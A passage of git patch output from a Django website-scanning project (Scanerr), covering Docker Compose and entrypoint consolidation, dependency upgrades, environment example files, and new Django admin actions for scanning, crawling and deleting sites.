+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    environment:
+      - DEFAULT_EMAIL=youremail@yourdomain.com
+      - NGINX_PROXY_CONTAINER=nginx-proxy
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock:ro
+      - certs:/etc/nginx/certs
+      - html:/usr/share/nginx/html
+      - vhost:/etc/nginx/vhost.d
+      - letsencrypt-acme:/etc/acme.sh
+    depends_on:
+      - nginx-proxy
+
+
+volumes:
+  static_volume:
+  letsencrypt-acme:
+  pgdata:
+  certs:
+  html:
+  vhost:
\ No newline at end of file
diff --git a/setup/scripts/remote-entrypoint.sh b/archive/remote-entrypoint.sh
similarity index 100%
rename from setup/scripts/remote-entrypoint.sh
rename to archive/remote-entrypoint.sh
diff --git a/setup/requirements/requirements-staging.txt b/archive/requirements.txt
similarity index 50%
rename from setup/requirements/requirements-staging.txt
rename to archive/requirements.txt
index 45f55aea..46d35ecf 100644
--- a/setup/requirements/requirements-staging.txt
+++ b/archive/requirements.txt
@@ -1,44 +1,44 @@
-amqp==5.2.0
-asgiref==3.8.1
+amqp==5.0.6
+asgiref==3.3.4
 beautifulsoup4==4.12.2
-billiard==4.2.0
+billiard==3.6.4.0
 boto3==1.20.32
-celery==5.4.0
+celery==5.1.0
 certifi==2023.7.22
 chardet==4.0.0
-click==8.1.7
-click-didyoumean==0.3.1
+click==7.1.2
+click-didyoumean==0.0.3
 click-plugins==1.1.1
-click-repl==0.3.0
-Django==5.0.6
-django-celery-beat==2.6.0
-django-filter==24.2
-djangorestframework==3.15.1
-django-markdownify==0.9.5
-django-cors-headers==4.3.1
-django-storages==1.14.3
-djangorestframework-simplejwt==5.3.1
+click-repl==0.2.0
+Django==3.2.3
+django-celery-beat==2.2.0
+django-filter==2.4.0
+djangorestframework==3.12.4
+django-markdownify==0.9.0
+django-cors-headers==3.7.0
+django-storages==1.12.3
+djangorestframework-simplejwt==4.7.2
 docker==5.0.0
 gunicorn==20.1.0
 humanize==3.7.0
 idna==2.10
 imutils==0.5.4
-kombu==5.3.7
-Markdown==3.6
-numpy~=1.26.4
+kombu==5.1.0
+Markdown==3.3.4
+numpy==1.22.3
 openai==1.35.14
 opencv-python==4.5.5.64
-Pillow==10.3.0
+Pillow==9.0.1
 prometheus-client==0.8.0
-prompt-toolkit==3.0.43
-psycopg2==2.9.9
+prompt-toolkit==3.0.18
+psycopg2==2.8.6
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
-reportlab==4.2.0
-scikit-image==0.23.2
-scipy==1.13.0
+reportlab==3.6.6
+scikit-image==0.21.0
+scipy==1.8.0
 selenium==4.18.1
 sendgrid==6.9.7
 six==1.16.0
@@ -48,7 +48,7 @@ stripe==8.0.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5
-vine==5.1.0
+vine==5.0.0
 wcwidth==0.2.5
 websocket-client==1.0.1
 whitenoise==6.1.0
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7700cc1a..8cbbc23c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -5,12 +5,13 @@ services:
     container_name: scanerr-app
     hostname: scanerr-app
     restart: always
+    platform: linux/amd64
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "remote"]
     expose:
       - 8000
     env_file:
@@ -42,29 +43,21 @@ services:
       - "6379"
 
 
-  rabbitmq:
-    container_name: scanerr-rabbitmq
-    hostname: scanerr-rabbitmq
-    image: rabbitmq:alpine
-    ports:
-      - "5672"
-
-
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "celery"]
+    entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.dev
     volumes:
       - ./app:/scanerr
     depends_on:
-      - rabbitmq
       - redis
       - app
       - db
@@ -73,24 +66,24 @@ services:
   beat:
     container_name: scanerr-beat
     hostname: scanerr-beat
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "beat"]
+    entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.dev
     depends_on:
-      - celery
-      - rabbitmq
-      - db
       - redis
+      - celery
       - app
-
-
+      - db
+      
+  
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 8a56769e..60d0d0e2 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -4,15 +4,16 @@ services:
   app:
     container_name: scanerr-app
     hostname: scanerr-app
+    platform: linux/amd64
     privileged: true
     init: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
+      dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/local-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "local"]
     env_file:
       - ./env/.env.local
     volumes:
@@ -37,55 +38,47 @@ services:
     image: redis:alpine
     ports:
       - "6379"
-  
-
-  rabbitmq:
-    container_name: scanerr-rabbitmq
-    hostname: scanerr-rabbitmq
-    image: rabbitmq:alpine
-    ports:
-      - "5672"
 
 
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "celery"]
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "celery"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.local
     depends_on:
-      - rabbitmq
-      - db
       - redis
       - app
+      - db
 
 
   beat:
     container_name: scanerr-beat
     hostname: scanerr-beat
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "beat"]
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.local
     depends_on:
-      - celery
-      - rabbitmq
-      - db
       - redis
+      - celery
       - app
+      - db
 
 
   yellowlab:
@@ -97,7 +90,6 @@ services:
     ports:
       - 8383:8383
     depends_on:
-      - rabbitmq
       - redis
       - celery 
       - app
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 8da181b4..90731a1c 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -5,12 +5,13 @@ services:
     container_name: scanerr-app
     hostname: scanerr-app
     restart: always
+    platform: linux/amd64
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "remote"]
     expose:
       - 8000
     env_file:
@@ -42,14 +43,6 @@ services:
       - "6379"
 
 
-  rabbitmq:
-    container_name: scanerr-rabbitmq
-    hostname: scanerr-rabbitmq
-    image: rabbitmq:alpine
-    ports:
-      - "5672"
-
-
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -58,7 +51,7 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "celery"]
+    entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.prod
     volumes:
@@ -77,17 +70,16 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "beat"]
+    entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.prod
     depends_on:
-      - celery
-      - rabbitmq
-      - db
       - redis
+      - celery
       - app
+      - db
 
 
   yellowlab:
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index e9e47f79..64030f74 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -4,42 +4,17 @@ services:
   app:
     container_name: scanerr-app
     hostname: scanerr-app
+    platform: linux/amd64
     privileged: true
     init: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
+      dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/local-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "local"]
     env_file:
       - ./env/.env.stage
     volumes:
       - ./app:/app
-  
-
-  redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
-    image: redis:alpine
-    ports:
-      - "6379"
-  
-
-  celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
-    privileged: true
-    restart: always
-    build:
-      context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "celery"]
-    env_file:
-      - ./env/.env.stage
-    volumes:
-      - ./app:/scanerr
-    depends_on:
-      - redis
-      - app
diff --git a/env/.env.dev.example b/env/.env.dev.example
index ce40e782..8697b4fb 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -39,6 +39,7 @@ POSTGRES_PASSWORD=supersecretpassword
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
 FIREFOX_BROWSER = /usr/bin/firefox
+EDGE_BROWSER = /usr/bin/microsoft-edge-stable
 
 
 # stripe keys
diff --git a/env/.env.prod.example b/env/.env.prod.example
index b45812e4..107c2245 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -35,6 +35,7 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
 FIREFOX_BROWSER = /usr/bin/firefox
+EDGE_BROWSER = /usr/bin/microsoft-edge-stable
 
 
 # stripe keys
diff --git a/env/.env.stage.example b/env/.env.stage.example
index d1b0d3c0..b9a61246 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -34,6 +34,7 @@ DB_PASS = supersecretpassword
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/google-chrome
 FIREFOX_BROWSER = /usr/bin/firefox
+EDGE_BROWSER = /usr/bin/microsoft-edge-stable
 
 
 # stripe keys
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 41f6206c..7a894574 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -3,7 +3,6 @@
   - [Environment](#environment)
   - [Local](#local)
   - [Remote](#remote)
-  - [Deploy Yellowlabs](#deploy-yellowlabs)
   - [Scripts](#scripts)
     - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
     - [Get \& Set Node Memory:](#get--set-node-memory)
@@ -48,11 +47,11 @@ $ git clone https://github.com/Scanerr-io/server.git
 ```
 *Spin-up the application*
 ```shell
-$ docker compose up --build
+$ docker compose -f docker-compose.local.yml up --build
 ```
 *Spin-down the application*
 ```shell
-$ docker compose up down
+$ docker compose -f docker-compose.local.yml down
 ```
 
 &nbsp;
@@ -123,11 +122,6 @@ $ docker-compose -f docker-compose.prod.yml down -v
 ```
 
 
-## Deploy Yellowlabs
-1. Run same server set-up untill the .git portion.
-2. ```docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools```
-
-
 
 &nbsp;
 
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 46d35ecf..45f55aea 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -1,44 +1,44 @@
-amqp==5.0.6
-asgiref==3.3.4
+amqp==5.2.0
+asgiref==3.8.1
 beautifulsoup4==4.12.2
-billiard==3.6.4.0
+billiard==4.2.0
 boto3==1.20.32
-celery==5.1.0
+celery==5.4.0
 certifi==2023.7.22
 chardet==4.0.0
-click==7.1.2
-click-didyoumean==0.0.3
+click==8.1.7
+click-didyoumean==0.3.1
 click-plugins==1.1.1
-click-repl==0.2.0
-Django==3.2.3
-django-celery-beat==2.2.0
-django-filter==2.4.0
-djangorestframework==3.12.4
-django-markdownify==0.9.0
-django-cors-headers==3.7.0
-django-storages==1.12.3
-djangorestframework-simplejwt==4.7.2
+click-repl==0.3.0
+Django==5.0.6
+django-celery-beat==2.6.0
+django-filter==24.2
+djangorestframework==3.15.1
+django-markdownify==0.9.5
+django-cors-headers==4.3.1
+django-storages==1.14.3
+djangorestframework-simplejwt==5.3.1
 docker==5.0.0
 gunicorn==20.1.0
 humanize==3.7.0
 idna==2.10
 imutils==0.5.4
-kombu==5.1.0
-Markdown==3.3.4
-numpy==1.22.3
+kombu==5.3.7
+Markdown==3.6
+numpy~=1.26.4
 openai==1.35.14
 opencv-python==4.5.5.64
-Pillow==9.0.1
+Pillow==10.3.0
 prometheus-client==0.8.0
-prompt-toolkit==3.0.18
-psycopg2==2.8.6
+prompt-toolkit==3.0.43
+psycopg2==2.9.9
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
-reportlab==3.6.6
-scikit-image==0.21.0
-scipy==1.8.0
+reportlab==4.2.0
+scikit-image==0.23.2
+scipy==1.13.0
 selenium==4.18.1
 sendgrid==6.9.7
 six==1.16.0
@@ -48,7 +48,7 @@ stripe==8.0.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5
-vine==5.0.0
+vine==5.1.0
 wcwidth==0.2.5
 websocket-client==1.0.1
 whitenoise==6.1.0
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
new file mode 100755
index 00000000..fbac48bb
--- /dev/null
+++ b/setup/scripts/entrypoint.sh
@@ -0,0 +1,43 @@
+#!/bin/bash
+
+# spin up app in local or remote env
+if [[ $1 == *"app"* ]]
+then 
+  if [[ $2 == *"local"* ]]
+  then
+    python3 manage.py wait_for_db && 
+    python3 manage.py makemigrations  --no-input &&
+    python3 manage.py migrate --no-input &&
+    python3 manage.py collectstatic --no-input &&
+    python3 manage.py create_admin &&
+    python3 manage.py driver_test &&
+    python3 manage.py runserver 0.0.0.0:8000
+  fi
+  if [[ $2 == *"remote"* ]]
+    then 
+      python3 manage.py wait_for_db && 
+      python3 manage.py makemigrations  --no-input &&
+      python3 manage.py migrate --no-input &&
+      python3 manage.py collectstatic --no-input &&
+      python3 manage.py create_admin &&
+      python3 manage.py driver_test &&
+      gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+    fi
+fi
+
+# spin up celery
+if [[ $1 == *"celery"* ]]
+then
+  python3 manage.py wait_for_db && 
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr worker -E --loglevel=info -O fair
+fi
+
+# spin up celery beat
+if [[ $1 == *"beat"* ]]
+then
+  python3 manage.py wait_for_db &&
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr beat --scheduler django --loglevel=info
+fi
+
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
deleted file mode 100755
index c6e5669e..00000000
--- a/setup/scripts/local-entrypoint.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/bash
-
-# spin up app in local env
-if [[ $1 == *"app"* ]]
-then 
-  python3 manage.py wait_for_db && 
-  python3 manage.py makemigrations  --no-input &&
-  python3 manage.py migrate --no-input &&
-  python3 manage.py collectstatic --no-input &&
-  python3 manage.py create_admin &&
-  python3 manage.py driver_test &&
-  python3 manage.py runserver 0.0.0.0:8000
-fi
-
-# spin up celery in local env
-if [[ $1 == *"celery"* ]]
-then
-  python3 manage.py wait_for_db && 
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker -E --loglevel=info -O fair
-fi
-
-# spin up celery beat in remote env
-if [[ $1 == *"beat"* ]]
-then
-  python3 manage.py wait_for_db &&
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr beat --scheduler django --loglevel=info
-fi
-

From 35748f5f4f24512e6db94995d987ea525c328fde Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 13 Aug 2024 20:31:53 -0600
Subject: [PATCH 646/752] removed rabbitmq dependency

---
 docker-compose.dev.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 8cbbc23c..79fe150a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -93,7 +93,6 @@ services:
     ports:
       - 8383:8383
     depends_on:
-      - rabbitmq
       - redis
       - celery 
       - app

From d76a62e848b1f4fbbd0d323f9970242ebdb8b6a4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 09:45:06 -0600
Subject: [PATCH 647/752] added redirect and fixed scan issue creation

---
 app/api/urls.py            | 2 ++
 app/api/v1/ops/services.py | 4 ++--
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/urls.py b/app/api/urls.py
index 9df63e49..39d9edea 100644
--- a/app/api/urls.py
+++ b/app/api/urls.py
@@ -1,11 +1,13 @@
 from .v1 import urls as v1_urls
 from django.urls import path, include
+from django.views.generic.base import RedirectView
 
 
 
 
 urlpatterns = [
     path('v1/', include(v1_urls)),
+    path('', RedirectView.as_view(url='v1/auth/', permanent=False))
 ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 269a28e9..b2db0a3b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1545,8 +1545,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         p.info['latest_scan']['id'] = str(created_scan.id)
         p.info['latest_scan']['time_created'] = str(timezone.now())
         p.info['latest_scan']['time_completed'] = None
-        p.info['status']['score'] = None
-        p.info['status']['score'] = None
+        p.info['latest_scan']['status']['score'] = None
+        p.info['latest_scan']['status']['score'] = None
         p.save()
 
         # updating latest_scan info for site

From b49694622b435b971433a5f06336b926b9be073d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 10:54:04 -0600
Subject: [PATCH 648/752] adding admin tools and fixing some bugs

---
 app/api/admin.py           |  98 ++++++++++++++++++-
 app/api/tasks.py           |  10 +-
 app/api/utils/tester.py    |   2 +-
 app/api/v1/ops/services.py | 186 ++++++++++++++++++++++++-------------
 4 files changed, 224 insertions(+), 72 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 50b2f862..a2ec4e7d 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -1,6 +1,14 @@
 from django.contrib import admin
 from .models import *
 from datetime import datetime
+from .v1.ops.services import (
+    create_scan, create_test, 
+    delete_site, delete_page, 
+    delete_scan, delete_test,
+    delete_case, delete_testcase,
+    crawl_site
+)
+from .tasks import reset_account_usage
 
 
 
@@ -11,6 +19,35 @@
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
     search_fields = ('site_url',)
+    actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
+
+    def crawl_sites(self, request, queryset):
+        for site in queryset:
+            crawl_site(
+                id=site.id,
+                account=site.account
+            )
+
+    def scan_sites(self, request, queryset):
+        for site in queryset:
+            create_scan(
+                site_id=site.id,
+                user_id=site.account.user.id
+            )
+    
+    def test_sites(self, request, queryset):
+        for site in queryset:
+            create_test(
+                site_id=site.id,
+                user_id=site.account.user.id
+            )
+    
+    def delete_sites(self, request, queryset):
+        for site in queryset:
+            delete_site(
+                id=site.id,
+                account=site.account
+            )
 
 
 
@@ -19,6 +56,28 @@ class SiteAdmin(admin.ModelAdmin):
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
     search_fields = ('page_url',)
+    actions = ['scan_pages', 'test_pages', 'delete_pages',]
+
+    def scan_pages(self, request, queryset):
+        for page in queryset:
+            create_scan(
+                page_id=page.id,
+                user_id=page.account.user.id
+            )
+    
+    def test_pages(self, request, queryset):
+        for page in queryset:
+            create_test(
+                page_id=page.id,
+                user_id=page.account.user.id
+            )
+    
+    def delete_pages(self, request, queryset):
+        for page in queryset:
+            delete_page(
+                id=page.id,
+                account=page.account
+            )
 
 
 
@@ -27,7 +86,14 @@ class SiteAdmin(admin.ModelAdmin):
 class TestAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
     search_fields = ('page',)
+    actions = ['delete_tests',]
 
+    def delete_tests(self, request, queryset):
+        for test in queryset:
+            delete_test(
+                id=test.id,
+                account=test.page.account
+            )
 
 
 
@@ -35,7 +101,14 @@ class TestAdmin(admin.ModelAdmin):
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page',)
-    actions = ['mark_as_completed',]
+    actions = ['delete_scans', 'mark_as_completed',]
+
+    def delete_scans(self, request, queryset):
+        for scan in queryset:
+            delete_scan(
+                id=scan.id,
+                account=scan.page.account
+            )
 
     def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
@@ -47,6 +120,13 @@ def mark_as_completed(self, request, queryset):
 class AccountAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'type')
     search_fields = ('__str__',)
+    actions = ['reset_usage',]
+
+    def reset_usage(self, request, queryset):
+        for account in queryset:
+            reset_account_usage(
+                account_id=account.id
+            )
 
 
 
@@ -105,6 +185,14 @@ class ProcessAdmin(admin.ModelAdmin):
 @admin.register(Case)
 class CaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created',)
+    actions = ['delete_cases',]
+
+    def delete_cases(self, request, queryset):
+        for case in queryset:
+            delete_case(
+                id=case.id,
+                account=case.account
+            )
 
 
 
@@ -112,6 +200,14 @@ class CaseAdmin(admin.ModelAdmin):
 @admin.register(Testcase)
 class TestcaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created', 'time_completed',)
+    actions = ['delete_testcases',]
+
+    def delete_testcases(self, request, queryset):
+        for testcase in queryset:
+            delete_testcase(
+                id=testcase.id,
+                account=testcase.account
+            )
 
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 07bf977e..2bbf0d0b 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1142,9 +1142,11 @@ def reset_usage(account):
                 account.sub_id
             )
 
-            # get and formate sub.current_peroid_start
+            print(sub)
+
+            # get and formate sub.current_period_end
             sub_date = datetime.fromtimestamp(
-                sub.current_peroid_start
+                sub.current_period_end
             ).strftime('%Y-%m-%d')
             print(f'sub_date -> {sub_date}')
 
@@ -1256,8 +1258,10 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
     # update account with new info
     account.price_id = price.id
     account.price_amount = 0
-    account.save()
     account.price_amount = price_amount
+    account.usage['scans_allowed'] = (max_sites * 200)
+    account.usage['tests_allowed'] = (max_sites * 200)
+    account.usage['testcases_allowed'] = (max_sites * 100)
     account.save()
 
     print(f'new price -> {price_amount}')
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 42e6b84c..9368cc13 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -642,7 +642,7 @@ def update_site_info(self, test: object) -> object:
                 ).order_by('-time_completed')
                 if len(_test) > 0:
                     if _test[0].score is not None:
-                        tests.append(_test.score)
+                        tests.append(_test[0].score)
         
         if len(tests) > 0:
             
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b2db0a3b..42bb25d7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -553,34 +553,40 @@ def create_site(request: object, delay: bool=False) -> object:
 
 
 
-def crawl_site(request: object, id: str) -> object:
+def crawl_site(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Initiates a new Crawl for the passed `Site`.id
 
     Expects: {
         'request' : object, 
-        'id'      : str
+        'id'      : str,
+        'account' ; object
     }
     
     Returns -> HTTP Response object
     """
 
     # get user and account
-    user = request.user
-    account = Member.objects.get(user=user).account
-
-    # setting configs
-    configs = request.data.get('configs', None)
+    if request:
+        user = request.user
+        account = Member.objects.get(user=user).account
+        configs = request.data.get('configs', None)
+    
+    if not request:
+        user = account.user
+        configs = account.configs
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
+    check_data = check_account_and_resource(user=user, site_id=id, resource='site')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # update site info
     site = Site.objects.get(id=id)
@@ -591,12 +597,14 @@ def crawl_site(request: object, id: str) -> object:
     crawl_site_bg.delay(site_id=site.id, configs=configs)
 
     # serializing and returning
-    serializer_context = {'request': request,}
-    serialized = SiteSerializer(site, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
-    return response
+    if request:
+        serializer_context = {'request': request,}
+        serialized = SiteSerializer(site, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '201')
+        response = Response(data, status=status.HTTP_201_CREATED)
+        return response
+    return None
 
 
 
@@ -1230,7 +1238,7 @@ def get_page(request: object, id: str) -> object:
 
 
 
-def delete_page(request: object, id: str) -> object:
+def delete_page(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Page` associated with the passed "id" 
 
@@ -1243,15 +1251,21 @@ def delete_page(request: object, id: str) -> object:
     """
     
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, page_id=id, resource='page')
+    check_data = check_account_and_resource(user=user, page_id=id, resource='page')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get page by id
     page = Page.objects.get(id=id)
@@ -1274,9 +1288,11 @@ def delete_page(request: object, id: str) -> object:
 
     # format and return
     data = {'message': 'Page has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -1545,8 +1561,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         p.info['latest_scan']['id'] = str(created_scan.id)
         p.info['latest_scan']['time_created'] = str(timezone.now())
         p.info['latest_scan']['time_completed'] = None
-        p.info['latest_scan']['status']['score'] = None
-        p.info['latest_scan']['status']['score'] = None
+        p.info['latest_scan']['score'] = None
+        p.info['latest_scan']['score'] = None
         p.save()
 
         # updating latest_scan info for site
@@ -1827,28 +1843,35 @@ def get_scan_lean(request: object, id: str) -> object:
 
 
 
-def delete_scan(request: object, id: str) -> object:
+def delete_scan(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Scan` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, scan_id=id, resource='scan')
+    check_data = check_account_and_resource(user=user, scan_id=id, resource='scan')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
     
     # get scan if checks passes
     scan = Scan.objects.get(id=id)
@@ -1861,9 +1884,11 @@ def delete_scan(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Scan has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -2516,28 +2541,35 @@ def get_test_lean(request: object, id: str) -> object:
 
 
 
-def delete_test(request: object, id: str) -> object:
+def delete_test(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Test` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object,
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, test_id=id, resource='test')
+    check_data = check_account_and_resource(user=user, test_id=id, resource='test')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get test if checks passed
     test = Test.objects.get(id=id)
@@ -2550,9 +2582,11 @@ def delete_test(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Test has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
